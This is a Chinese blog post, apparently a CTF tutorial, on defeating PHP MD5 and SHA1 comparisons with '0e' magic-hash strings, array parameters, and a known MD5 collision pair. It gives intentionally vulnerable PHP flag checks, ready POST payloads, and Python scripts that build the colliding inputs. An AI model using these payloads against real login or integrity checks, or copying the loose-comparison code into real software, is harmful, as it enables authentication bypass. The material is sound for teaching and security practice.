[PHP](MD5、sha1)比较漏洞

发布时间 2023-05-24 19:00:54作者: Ping-ka

PhP (MD5、sha1)比较漏洞(弱比较、强比较、强碰撞)

弱比较

md5和sha1弱比较都是利用php解析哈希值以“0E”开头的特性,结果都为0符合参数1的字符串值和参数2的字符串值不相等,但md5值相等。

如:240610708,aabg7XSs,aabC9RqS,s878926199a这四段字符串MD5编码后结果分别对应

240610708:0E462097431906509019562988736854

aabg7XSs:0E087386482136013740957780965295

aabC9RqS:0E041022518165728065344349536299

s878926199a:0E545993274517709034328855841020

而在php代码中处理哈希字符串时,会把“0E”开头的哈希值都解析为0,比较时0=0为true绕过

同理使用sha1加密的值为)0E开头的字符串有如下:

aaroZmOk,aaK1STfy,aaO8zKZF,aa3OFF9m

#coding=utf-8
<?php
error_reporting(0);
include "flag.php";

$a = $_POST['a'];
$b = $_POST['b'];


if($a != $b && md5($a) == md5($b)){
    echo $flag;
}

/*
if($a != $b && sha1($a) == sha1($b)){
    echo $flag;
}
*/

?>

payload:

MD5:a=240610708&b=aabg7XSs
SHA1: a=aaroZmOk&b=aaK1STfy

强比较

使用php的强比较类型来解析的话,就是除了比较值,也比较类型。弱比较只比较值,不比较类型

所以上面的方法就失效了,我们可以使用数组来绕过强比较,因为md5和sha1无法计算数组,但不会报错,会输出null,所以我们可以使用“空类型=空类型,null=null“来绕过强比较的比较类型

#coding=utf-8
<?php
error_reporting(0);
include "flag.php";

$a = $_POST['a'];
$b = $_POST['b'];


if($a !== $b && md5($a) === md5($b)){
    echo $flag;
}

/*
if($a !== $b && sha1($a) === sha1($b)){
    echo $flag;
}
*/

?>

payload:

/* 
在php中,变量名后加个中括号就代表这个变量的值为数组
如: $demo[] = 123;
*/
MD5 and SHA1:a[]=1&b[]=2

强碰撞

强碰撞我现在还是不怎么理解,只是从其他博主的文章解释和下面大佬写的一段代码分析。

它的工作原理可以分为以下几个步骤:

首先,我们有一个hex字符串,类似于密码一样的形式。

然后,我们将这个字符串分割成两个字符一组的形式,每两个字符代表一个十六进制数。

接着,我们将每个两位的十六进制数转换成对应的十进制数。

然后,将这些十进制数转换成相应的 ASCII 字符。

最后,将转换后的 ASCII 字符写入二进制文件,以便我们可以保存和使用。

这个是将hex写入到bin文件的python脚本源码:

#!coding:utf-8
hexString1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hexString2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'

hexList1 = []  # 存储hexString1拆分后的每个字符
intList1 = []  # 存储hexList1转换成的整数
asciiString1 = ''  # 存储转换后的ASCII字符串

# 将hexString1拆分为每两个字符,存储到hexList1中
while True:
    intString1 = hexString1[0:2]  # 获取hexString1的前两个字符
    hexString1 = hexString1[2:]  # 移除已获取的字符
    hexList1.append(intString1)  # 将获取的字符添加到hexList1中
    if hexString1 == '':
        break

# 将hexList1中的每个字符转换为整数,并存储到intList1中
for i in hexList1:
    intList1.append(int(i, 16))

# 将intList1中的每个整数转换为对应的ASCII字符,并拼接到asciiString1中
for j in intList1:
    asciiString1 += chr(j)

# 将转换后的ASCII字符串写入名为"1.bin"的二进制文件中
with open('1.bin', 'w') as f:
    f.write(asciiString1)

hexList2 = []  # 存储hexString2拆分后的每个字符
intList2 = []  # 存储hexList2转换成的整数
asciiString2 = ''  # 存储转换后的ASCII字符串

# 将hexString2拆分为每两个字符,存储到hexList2中
while True:
    intString2 = hexString2[0:2]  # 获取hexString2的前两个字符
    hexString2 = hexString2[2:]  # 移除已获取的字符
    hexList2.append(intString2)  # 将获取的字符添加到hexList2中
    if hexString2 == '':
        break

# 将hexList2中的每个字符转换为整数,并存储到intList2中
for i in hexList2:
    intList2.append(int(i, 16))

# 将intList2中的每个整数转换为对应的ASCII字符,并拼接到asciiString2中
for j in intList2:
    asciiString2 += chr(j)

# 将转换后的ASCII字符串写入名为"2.bin"的二进制文件中
with open('2.bin', 'w') as f:
    f.write(asciiString2)

这一段代码是将生成的2进制文件内容再次进行url编码输出:

#!coding:utf-8
import urllib 

urlString1=''
urlString2 = ''

for line in open('1.bin'):
    urlString1 +=  urllib.quote(line)

for line in open('2.bin'):
    urlString2 +=  urllib.quote(line)

print urlString1
print urlString2

参考:

https://www.cnblogs.com/kuaile1314/p/11968108.html

https://blog.csdn.net/EC_Carrot/article/details/109525162